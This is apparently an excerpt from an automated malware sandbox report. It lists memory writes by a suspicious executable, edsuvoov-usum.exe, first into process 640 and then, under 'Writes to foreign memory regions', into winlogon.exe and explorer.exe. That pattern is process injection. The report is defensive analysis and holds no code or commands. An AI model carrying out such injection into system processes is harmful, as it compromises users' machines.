Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 101E0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 101F0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10200000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10210000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10220000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10230000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10240000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10250000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10260000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10270000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10280000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10290000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 102A0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 102B0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 102C0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 102D0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 102E0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 102F0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10300000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10310000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10320000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10330000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10340000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10350000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10360000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10370000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10380000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10390000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 103A0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 103B0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 103C0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 103D0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 103E0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 103F0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10400000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10410000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10420000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10430000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10440000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10450000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10460000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10470000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10480000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10490000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 104A0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 104B0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 104C0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 104D0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 104E0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 104F0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10500000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10510000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10520000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10530000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10540000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10550000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10560000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10570000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10580000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10590000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 105A0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 105B0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 105C0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 105D0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 105E0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 105F0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10600000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10610000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10620000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10630000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10640000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10650000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10660000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10670000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10680000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10690000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 106A0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 106B0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 106C0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 106D0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 106E0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 106F0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10700000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10710000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10720000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10730000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10740000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10750000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10760000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10770000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10780000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10790000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 107A0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 107B0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 107C0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 107D0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 107E0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 107F0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10800000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10810000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10820000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10830000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10840000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10850000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10860000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10870000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10880000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10890000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 108A0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 108B0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 108C0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 108D0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 108E0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 108F0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10900000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10910000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10920000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10930000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10940000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10950000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10960000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10970000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10980000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10990000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 109A0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 109B0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 109C0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 109D0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 109E0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 109F0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10A00000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10A10000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10A20000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10A30000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10A40000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10A50000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10A60000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10A70000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10A80000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10A90000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10AA0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10AB0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10AC0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10AD0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10AE0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10AF0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10B00000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10B10000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10B20000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10B30000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10B40000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10B50000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10B60000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10B70000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10B80000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10B90000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10BA0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10BB0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10BC0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10BD0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10BE0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10BF0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10C00000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10C10000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10C20000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10C30000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10C40000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10C50000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10C60000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10C70000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10C80000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10C90000 value: 43	Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\System32\winlogon.exe base: 33890000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 8540000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 8040000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 8510000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 86E0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 9020000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 9030000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: A520000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: ADC0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: B0B0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: B0E0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: B5C0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: B5D0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: B680000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: B660000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: B670000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: B690000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: B6A0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: B6B0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: C6E0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: C6F0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: E410000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: E420000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 7790000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 83B0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 8360000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 83C0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 83D0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 83E0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 8400000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 8F00000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 8410000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 8420000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 8EA0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 8EB0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 8EC0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 8EF0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 8ED0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 8EE0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 8F10000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: 9040000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: BAC0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: BAD0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: BB00000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: BAE0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: BAF0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: EF0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: F00000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: F20000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: F30000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: F40000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: F50000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: BB20000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: F60000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: BB10000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: BB30000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: E430000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: E440000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: E450000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: E460000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: E470000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: E480000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: E490000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: E4A0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: E4B0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: E690000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: E4E0000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: E680000	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: C:\Windows\explorer.exe base: E6A0000	Jump to behavior
